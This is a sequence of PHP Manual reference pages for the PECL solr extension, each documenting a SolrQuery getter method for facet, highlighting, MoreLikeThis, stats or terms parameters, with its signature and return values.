(PECL solr >= 0.9.2)

SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields

Description

public int SolrQuery::getFacetLimit ([ string $field_override ] )

Returns the maximum number of constraint counts that should be returned for the facet fields. This method accepts an optional field override

Parameters

field_override

The name of the field to override for

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetFields
SolrQuery::getFacetMethod
SolrQuery


Returns the value of the facet.method parameter

SolrQuery::getFacetLimit
SolrQuery::getFacetMinCount
SolrQuery
PHP Manual

SolrQuery::getFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::getFacetMethod — Returns the value of the facet.method parameter

Description

public string SolrQuery::getFacetMethod ([ string $field_override ] )

Returns the value of the facet.method parameter. This accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetLimit
SolrQuery::getFacetMinCount
SolrQuery


Returns the minimum counts for facet fields should be included in the response

SolrQuery::getFacetMethod
SolrQuery::getFacetMissing
SolrQuery
PHP Manual

SolrQuery::getFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response

Description

public int SolrQuery::getFacetMinCount ([ string $field_override ] )

Returns the minimum counts for facet fields should be included in the response. It accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetMethod
SolrQuery::getFacetMissing
SolrQuery


Returns the current state of the facet.missing parameter

SolrQuery::getFacetMinCount
SolrQuery::getFacetOffset
SolrQuery
PHP Manual

SolrQuery::getFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter

Description

public bool SolrQuery::getFacetMissing ([ string $field_override ] )

Returns the current state of the facet.missing parameter. This accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a boolean on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetMinCount
SolrQuery::getFacetOffset
SolrQuery


Returns an offset into the list of constraints to be used for pagination

SolrQuery::getFacetMissing
SolrQuery::getFacetPrefix
SolrQuery
PHP Manual

SolrQuery::getFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination

Description

public int SolrQuery::getFacetOffset ([ string $field_override ] )

Returns an offset into the list of constraints to be used for pagination. Accepts an optional field override

Parameters

field_override

The name of the field to override for.

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetMissing
SolrQuery::getFacetPrefix
SolrQuery


Returns the facet prefix

SolrQuery::getFacetOffset
SolrQuery::getFacetQueries
SolrQuery
PHP Manual

SolrQuery::getFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::getFacetPrefix — Returns the facet prefix

Description

public string SolrQuery::getFacetPrefix ([ string $field_override ] )

Returns the facet prefix

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetOffset
SolrQuery::getFacetQueries
SolrQuery


Returns all the facet queries

SolrQuery::getFacetPrefix
SolrQuery::getFacetSort
SolrQuery
PHP Manual

SolrQuery::getFacetQueries

(PECL solr >= 0.9.2)

SolrQuery::getFacetQueries — Returns all the facet queries

Description

public array SolrQuery::getFacetQueries ( void )

Returns all the facet queries

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetPrefix
SolrQuery::getFacetSort
SolrQuery


Returns the facet sort type

SolrQuery::getFacetQueries
SolrQuery::getFields
SolrQuery
PHP Manual

SolrQuery::getFacetSort

(PECL solr >= 0.9.2)

SolrQuery::getFacetSort — Returns the facet sort type

Description

public int SolrQuery::getFacetSort ([ string $field_override ] )

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT)

Parameters

field_override

The name of the field

Return Values

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT) on success or NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetQueries
SolrQuery::getFields
SolrQuery


Returns the list of fields that will be returned in the response

SolrQuery::getFacetSort
SolrQuery::getFilterQueries
SolrQuery
PHP Manual

SolrQuery::getFields

(PECL solr >= 0.9.2)

SolrQuery::getFields — Returns the list of fields that will be returned in the response

Description

public array SolrQuery::getFields ( void )

Returns the list of fields that will be returned in the response

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFacetSort
SolrQuery::getFilterQueries
SolrQuery


Returns an array of filter queries

SolrQuery::getFields
SolrQuery::getHighlight
SolrQuery
PHP Manual

SolrQuery::getFilterQueries

(PECL solr >= 0.9.2)

SolrQuery::getFilterQueries — Returns an array of filter queries

Description

public array SolrQuery::getFilterQueries ( void )

Returns an array of filter queries. These are queries that can be used to restrict the super set of documents that can be returned, without influencing score

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFields
SolrQuery::getHighlight
SolrQuery


Returns the state of the hl parameter

SolrQuery::getFilterQueries
SolrQuery::getHighlightAlternateField
SolrQuery
PHP Manual

SolrQuery::getHighlight

(PECL solr >= 0.9.2)

SolrQuery::getHighlight — Returns the state of the hl parameter

Description

public bool SolrQuery::getHighlight ( void )

Returns a boolean indicating whether or not to enable highlighted snippets to be generated in the query response.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getFilterQueries
SolrQuery::getHighlightAlternateField
SolrQuery


Returns the highlight field to use as backup or default

SolrQuery::getHighlight
SolrQuery::getHighlightFields
SolrQuery
PHP Manual

SolrQuery::getHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default

Description

public string SolrQuery::getHighlightAlternateField ([ string $field_override ] )

Returns the highlight field to use as backup or default. It accepts an optional override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlight
SolrQuery::getHighlightFields
SolrQuery


Returns all the fields that Solr should generate highlighted snippets for

SolrQuery::getHighlightAlternateField
SolrQuery::getHighlightFormatter
SolrQuery
PHP Manual

SolrQuery::getHighlightFields

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for

Description

public array SolrQuery::getHighlightFields ( void )

Returns all the fields that Solr should generate highlighted snippets for

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightAlternateField
SolrQuery::getHighlightFormatter
SolrQuery


Returns the formatter for the highlighted output

SolrQuery::getHighlightFields
SolrQuery::getHighlightFragmenter
SolrQuery
PHP Manual

SolrQuery::getHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output

Description

public string SolrQuery::getHighlightFormatter ([ string $field_override ] )

Returns the formatter for the highlighted output

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightFields
SolrQuery::getHighlightFragmenter
SolrQuery


Returns the text snippet generator for highlighted text

SolrQuery::getHighlightFormatter
SolrQuery::getHighlightFragsize
SolrQuery
PHP Manual

SolrQuery::getHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text

Description

public string SolrQuery::getHighlightFragmenter ([ string $field_override ] )

Returns the text snippet generator for highlighted text. Accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightFormatter
SolrQuery::getHighlightFragsize
SolrQuery


Returns the number of characters of fragments to consider for highlighting

SolrQuery::getHighlightFragmenter
SolrQuery::getHighlightHighlightMultiTerm
SolrQuery
PHP Manual

SolrQuery::getHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting

Description

public int SolrQuery::getHighlightFragsize ([ string $field_override ] )

Returns the number of characters of fragments to consider for highlighting. Zero implies no fragmenting. The entire field should be used.

Parameters

field_override

The name of the field

Return Values

Returns an integer on success or NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightFragmenter
SolrQuery::getHighlightHighlightMultiTerm
SolrQuery


Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

SolrQuery::getHighlightFragsize
SolrQuery::getHighlightMaxAlternateFieldLength
SolrQuery
PHP Manual

SolrQuery::getHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

Description

public bool SolrQuery::getHighlightHighlightMultiTerm ( void )

Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightFragsize
SolrQuery::getHighlightMaxAlternateFieldLength
SolrQuery


Returns the maximum number of characters of the field to return

SolrQuery::getHighlightHighlightMultiTerm
SolrQuery::getHighlightMaxAnalyzedChars
SolrQuery
PHP Manual

SolrQuery::getHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return

Description

public int SolrQuery::getHighlightMaxAlternateFieldLength ([ string $field_override ] )

Returns the maximum number of characters of the field to return

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightHighlightMultiTerm
SolrQuery::getHighlightMaxAnalyzedChars
SolrQuery


Returns the maximum number of characters into a document to look for suitable snippets

SolrQuery::getHighlightMaxAlternateFieldLength
SolrQuery::getHighlightMergeContiguous
SolrQuery
PHP Manual

SolrQuery::getHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets

Description

public int SolrQuery::getHighlightMaxAnalyzedChars ( void )

Returns the maximum number of characters into a document to look for suitable snippets

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightMaxAlternateFieldLength
SolrQuery::getHighlightMergeContiguous
SolrQuery


Returns whether or not the collapse contiguous fragments into a single fragment

SolrQuery::getHighlightMaxAnalyzedChars
SolrQuery::getHighlightRegexMaxAnalyzedChars
SolrQuery
PHP Manual

SolrQuery::getHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment

Description

public bool SolrQuery::getHighlightMergeContiguous ([ string $field_override ] )

Returns whether or not the collapse contiguous fragments into a single fragment. Accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightMaxAnalyzedChars
SolrQuery::getHighlightRegexMaxAnalyzedChars
SolrQuery


Returns the maximum number of characters from a field when using the regex fragmenter

SolrQuery::getHighlightMergeContiguous
SolrQuery::getHighlightRegexPattern
SolrQuery
PHP Manual

SolrQuery::getHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter

Description

public int SolrQuery::getHighlightRegexMaxAnalyzedChars ( void )

Returns the maximum number of characters from a field when using the regex fragmenter

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightMergeContiguous
SolrQuery::getHighlightRegexPattern
SolrQuery


Returns the regular expression for fragmenting

SolrQuery::getHighlightRegexMaxAnalyzedChars
SolrQuery::getHighlightRegexSlop
SolrQuery
PHP Manual

SolrQuery::getHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting

Description

public string SolrQuery::getHighlightRegexPattern ( void )

Returns the regular expression used for fragmenting

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightRegexMaxAnalyzedChars
SolrQuery::getHighlightRegexSlop
SolrQuery


Returns the deviation factor from the ideal fragment size

SolrQuery::getHighlightRegexPattern
SolrQuery::getHighlightRequireFieldMatch
SolrQuery
PHP Manual

SolrQuery::getHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size

Description

public float SolrQuery::getHighlightRegexSlop ( void )

Returns the factor by which the regex fragmenter can deviate from the ideal fragment size to accomodate the regular expression

Parameters

This function has no parameters.

Return Values

Returns a double on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightRegexPattern
SolrQuery::getHighlightRequireFieldMatch
SolrQuery


Returns if a field will only be highlighted if the query matched in this particular field

SolrQuery::getHighlightRegexSlop
SolrQuery::getHighlightSimplePost
SolrQuery
PHP Manual

SolrQuery::getHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field

Description

public bool SolrQuery::getHighlightRequireFieldMatch ( void )

Returns if a field will only be highlighted if the query matched in this particular field.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightRegexSlop
SolrQuery::getHighlightSimplePost
SolrQuery


Returns the text which appears after a highlighted term

SolrQuery::getHighlightRequireFieldMatch
SolrQuery::getHighlightSimplePre
SolrQuery
PHP Manual

SolrQuery::getHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term

Description

public string SolrQuery::getHighlightSimplePost ([ string $field_override ] )

Returns the text which appears after a highlighted term. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightRequireFieldMatch
SolrQuery::getHighlightSimplePre
SolrQuery


Returns the text which appears before a highlighted term

SolrQuery::getHighlightSimplePost
SolrQuery::getHighlightSnippets
SolrQuery
PHP Manual

SolrQuery::getHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term

Description

public string SolrQuery::getHighlightSimplePre ([ string $field_override ] )

Returns the text which appears before a highlighted term. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightSimplePost
SolrQuery::getHighlightSnippets
SolrQuery


Returns the maximum number of highlighted snippets to generate per field

SolrQuery::getHighlightSimplePre
SolrQuery::getHighlightUsePhraseHighlighter
SolrQuery
PHP Manual

SolrQuery::getHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field

Description

public int SolrQuery::getHighlightSnippets ([ string $field_override ] )

Returns the maximum number of highlighted snippets to generate per field. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightSimplePre
SolrQuery::getHighlightUsePhraseHighlighter
SolrQuery


Returns the state of the hl.usePhraseHighlighter parameter

SolrQuery::getHighlightSnippets
SolrQuery::getMlt
SolrQuery
PHP Manual

SolrQuery::getHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter

Description

public bool SolrQuery::getHighlightUsePhraseHighlighter ( void )

Returns whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightSnippets
SolrQuery::getMlt
SolrQuery


Returns whether or not MoreLikeThis results should be enabled

SolrQuery::getHighlightUsePhraseHighlighter
SolrQuery::getMltBoost
SolrQuery
PHP Manual

SolrQuery::getMlt

(PECL solr >= 0.9.2)

SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled

Description

public bool SolrQuery::getMlt ( void )

Returns whether or not MoreLikeThis results should be enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getHighlightUsePhraseHighlighter
SolrQuery::getMltBoost
SolrQuery


Returns whether or not the query will be boosted by the interesting term relevance

SolrQuery::getMlt
SolrQuery::getMltCount
SolrQuery
PHP Manual

SolrQuery::getMltBoost

(PECL solr >= 0.9.2)

SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance

Description

public bool SolrQuery::getMltBoost ( void )

Returns whether or not the query will be boosted by the interesting term relevance

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMlt
SolrQuery::getMltCount
SolrQuery


Returns the number of similar documents to return for each result

SolrQuery::getMltBoost
SolrQuery::getMltFields
SolrQuery
PHP Manual

SolrQuery::getMltCount

(PECL solr >= 0.9.2)

SolrQuery::getMltCount — Returns the number of similar documents to return for each result

Description

public int SolrQuery::getMltCount ( void )

Returns the number of similar documents to return for each result

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltBoost
SolrQuery::getMltFields
SolrQuery


Returns all the fields to use for similarity

SolrQuery::getMltCount
SolrQuery::getMltMaxNumQueryTerms
SolrQuery
PHP Manual

SolrQuery::getMltFields

(PECL solr >= 0.9.2)

SolrQuery::getMltFields — Returns all the fields to use for similarity

Description

public array SolrQuery::getMltFields ( void )

Returns all the fields to use for similarity

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltCount
SolrQuery::getMltMaxNumQueryTerms
SolrQuery


Returns the maximum number of query terms that will be included in any generated query

SolrQuery::getMltFields
SolrQuery::getMltMaxNumTokens
SolrQuery
PHP Manual

SolrQuery::getMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query

Description

public int SolrQuery::getMltMaxNumQueryTerms ( void )

Returns the maximum number of query terms that will be included in any generated query

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltFields
SolrQuery::getMltMaxNumTokens
SolrQuery


Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

SolrQuery::getMltMaxNumQueryTerms
SolrQuery::getMltMaxWordLength
SolrQuery
PHP Manual

SolrQuery::getMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

Description

public int SolrQuery::getMltMaxNumTokens ( void )

Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMaxNumQueryTerms
SolrQuery::getMltMaxWordLength
SolrQuery


Returns the maximum word length above which words will be ignored

SolrQuery::getMltMaxNumTokens
SolrQuery::getMltMinDocFrequency
SolrQuery
PHP Manual

SolrQuery::getMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored

Description

public int SolrQuery::getMltMaxWordLength ( void )

Returns the maximum word length above which words will be ignored

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMaxNumTokens
SolrQuery::getMltMinDocFrequency
SolrQuery


Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

SolrQuery::getMltMaxWordLength
SolrQuery::getMltMinTermFrequency
SolrQuery
PHP Manual

SolrQuery::getMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

Description

public int SolrQuery::getMltMinDocFrequency ( void )

Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMaxWordLength
SolrQuery::getMltMinTermFrequency
SolrQuery


Returns the frequency below which terms will be ignored in the source document

SolrQuery::getMltMinDocFrequency
SolrQuery::getMltMinWordLength
SolrQuery
PHP Manual

SolrQuery::getMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document

Description

public int SolrQuery::getMltMinTermFrequency ( void )

Returns the frequency below which terms will be ignored in the source document

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMinDocFrequency
SolrQuery::getMltMinWordLength
SolrQuery


Returns the minimum word length below which words will be ignored

SolrQuery::getMltMinTermFrequency
SolrQuery::getMltQueryFields
SolrQuery
PHP Manual

SolrQuery::getMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored

Description

public int SolrQuery::getMltMinWordLength ( void )

Returns the minimum word length below which words will be ignored

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMinTermFrequency
SolrQuery::getMltQueryFields
SolrQuery


Returns the query fields and their boosts

SolrQuery::getMltMinWordLength
SolrQuery::getQuery
SolrQuery
PHP Manual

SolrQuery::getMltQueryFields

(PECL solr >= 0.9.2)

SolrQuery::getMltQueryFields — Returns the query fields and their boosts

Description

public array SolrQuery::getMltQueryFields ( void )

Returns the query fields and their boosts

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltMinWordLength
SolrQuery::getQuery
SolrQuery


Returns the main query

SolrQuery::getMltQueryFields
SolrQuery::getRows
SolrQuery
PHP Manual

SolrQuery::getQuery

(PECL solr >= 0.9.2)

SolrQuery::getQuery — Returns the main query

Description

public string SolrQuery::getQuery ( void )

Returns the main search query

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getMltQueryFields
SolrQuery::getRows
SolrQuery


Returns the maximum number of documents

SolrQuery::getQuery
SolrQuery::getSortFields
SolrQuery
PHP Manual

SolrQuery::getRows

(PECL solr >= 0.9.2)

SolrQuery::getRows — Returns the maximum number of documents

Description

public int SolrQuery::getRows ( void )

Returns the maximum number of documents from the complete result set to return to the client for every request

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getQuery
SolrQuery::getSortFields
SolrQuery


Returns all the sort fields

SolrQuery::getRows
SolrQuery::getStart
SolrQuery
PHP Manual

SolrQuery::getSortFields

(PECL solr >= 0.9.2)

SolrQuery::getSortFields — Returns all the sort fields

Description

public array SolrQuery::getSortFields ( void )

Returns all the sort fields

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if none of the parameters was set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getRows
SolrQuery::getStart
SolrQuery


Returns the offset in the complete result set

SolrQuery::getSortFields
SolrQuery::getStats
SolrQuery
PHP Manual

SolrQuery::getStart

(PECL solr >= 0.9.2)

SolrQuery::getStart — Returns the offset in the complete result set

Description

public int SolrQuery::getStart ( void )

Returns the offset in the complete result set for the queries where the set of returned documents should begin.

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getSortFields
SolrQuery::getStats
SolrQuery


Returns whether or not stats is enabled

SolrQuery::getStart
SolrQuery::getStatsFacets
SolrQuery
PHP Manual

SolrQuery::getStats

(PECL solr >= 0.9.2)

SolrQuery::getStats — Returns whether or not stats is enabled

Description

public bool SolrQuery::getStats ( void )

Returns whether or not stats is enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getStart
SolrQuery::getStatsFacets
SolrQuery


Returns all the stats facets that were set

SolrQuery::getStats
SolrQuery::getStatsFields
SolrQuery
PHP Manual

SolrQuery::getStatsFacets

(PECL solr >= 0.9.2)

SolrQuery::getStatsFacets — Returns all the stats facets that were set

Description

public array SolrQuery::getStatsFacets ( void )

Returns all the stats facets that were set

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getStats
SolrQuery::getStatsFields
SolrQuery


Returns all the statistics fields

SolrQuery::getStatsFacets
SolrQuery::getTerms
SolrQuery
PHP Manual

SolrQuery::getStatsFields

(PECL solr >= 0.9.2)

SolrQuery::getStatsFields — Returns all the statistics fields

Description

public array SolrQuery::getStatsFields ( void )

Returns all the statistics fields

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getStatsFacets
SolrQuery::getTerms
SolrQuery


Returns whether or not the TermsComponent is enabled

SolrQuery::getStatsFields
SolrQuery::getTermsField
SolrQuery
PHP Manual

SolrQuery::getTerms

(PECL solr >= 0.9.2)

SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled

Description

public bool SolrQuery::getTerms ( void )

Returns whether or not the TermsComponent is enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getStatsFields
SolrQuery::getTermsField
SolrQuery


Returns the field from which the terms are retrieved

SolrQuery::getTerms
SolrQuery::getTermsIncludeLowerBound
SolrQuery
PHP Manual

SolrQuery::getTermsField

(PECL solr >= 0.9.2)

SolrQuery::getTermsField — Returns the field from which the terms are retrieved

Description

public string SolrQuery::getTermsField ( void )

Returns the field from which the terms are retrieved

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTerms
SolrQuery::getTermsIncludeLowerBound
SolrQuery


Returns whether or not to include the lower bound in the result set

SolrQuery::getTermsField
SolrQuery::getTermsIncludeUpperBound
SolrQuery
PHP Manual

SolrQuery::getTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set

Description

public bool SolrQuery::getTermsIncludeLowerBound ( void )

Returns whether or not to include the lower bound in the result set

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsField
SolrQuery::getTermsIncludeUpperBound
SolrQuery


Returns whether or not to include the upper bound term in the result set

SolrQuery::getTermsIncludeLowerBound
SolrQuery::getTermsLimit
SolrQuery
PHP Manual

SolrQuery::getTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set

Description

public bool SolrQuery::getTermsIncludeUpperBound ( void )

Returns whether or not to include the upper bound term in the result set

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsIncludeLowerBound
SolrQuery::getTermsLimit
SolrQuery


Returns the maximum number of terms Solr should return

SolrQuery::getTermsIncludeUpperBound
SolrQuery::getTermsLowerBound
SolrQuery
PHP Manual

SolrQuery::getTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return

Description

public int SolrQuery::getTermsLimit ( void )

Returns the maximum number of terms Solr should return

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsIncludeUpperBound
SolrQuery::getTermsLowerBound
SolrQuery


Returns the term to start at

SolrQuery::getTermsLimit
SolrQuery::getTermsMaxCount
SolrQuery
PHP Manual

SolrQuery::getTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsLowerBound — Returns the term to start at

Description

public string SolrQuery::getTermsLowerBound ( void )

Returns the term to start at

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsLimit
SolrQuery::getTermsMaxCount
SolrQuery


Returns the maximum document frequency

SolrQuery::getTermsLowerBound
SolrQuery::getTermsMinCount
SolrQuery
PHP Manual

SolrQuery::getTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMaxCount — Returns the maximum document frequency

Description

public int SolrQuery::getTermsMaxCount ( void )

Returns the maximum document frequency

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsLowerBound
SolrQuery::getTermsMinCount
SolrQuery


